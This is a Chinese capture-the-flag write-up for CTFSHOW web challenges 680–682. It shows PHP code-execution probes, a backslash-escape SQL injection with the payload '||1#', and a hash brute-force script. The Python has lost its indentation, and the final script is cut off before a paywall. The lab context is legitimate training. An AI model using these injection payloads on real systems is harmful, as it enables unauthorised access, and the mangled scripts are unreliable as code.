因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!
CTFSHOW大赛原题篇
文章目录
web680
code=phpinfo();
先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。
r然后看下当前目录下的文件
code=var_dump(scandir("."));
发现一个文件secret_you_never_know
直接访问就拿到flag了 。。。。。。(大无语)
web681
登录的时候抓个包,比如我们传name=123会返回sql语句
select count(*) from ctfshow_users where username = '123' or nickname = '123'
然后试了下单引号,发现会被吞。
那就试下反斜杠,
select count(*) from ctfshow_users where username = '123\' or nickname = '123\'
这样相当于执行
select count(*) from ctfshow_users where username = 'xxx'123\'
所以先整个万能密码
name=||1#
最终语句为
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
相当于
select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
然后就出flag了。

web682
通过hint拿到未加密的js
后面的其实很简单的,就是麻烦些

import hashlib
string="0123456789abcdef"
for i in string:
for j in string:
for k in string:
for l in string:
aaa=i+j+k+l
out1 = hashlib.sha256(aaa).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(aaa)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(aaa)
得到ctfshow{592b9d77

得到ctfshow{592b9d77-9dda
得到ctfshow{592b9d77-9dda-4e30

得到ctfshow{592b9d77-9dda-4e30-94a4

其实就是 base32,直接解码base32就可以了
得到ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}
import hashlib
string="0123456789abcdef"
for i in string:
if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'

本文分享了CTFSHOW大赛中的六个挑战,涉及SQL注入、字符编码绕过、文件上传漏洞、正则表达式绕过、SSRF攻击和代码执行技巧。通过实例演示如何利用这些技巧找到flag。
最低0.47元/天 解锁文章
4412

被折叠的 条评论
为什么被折叠?



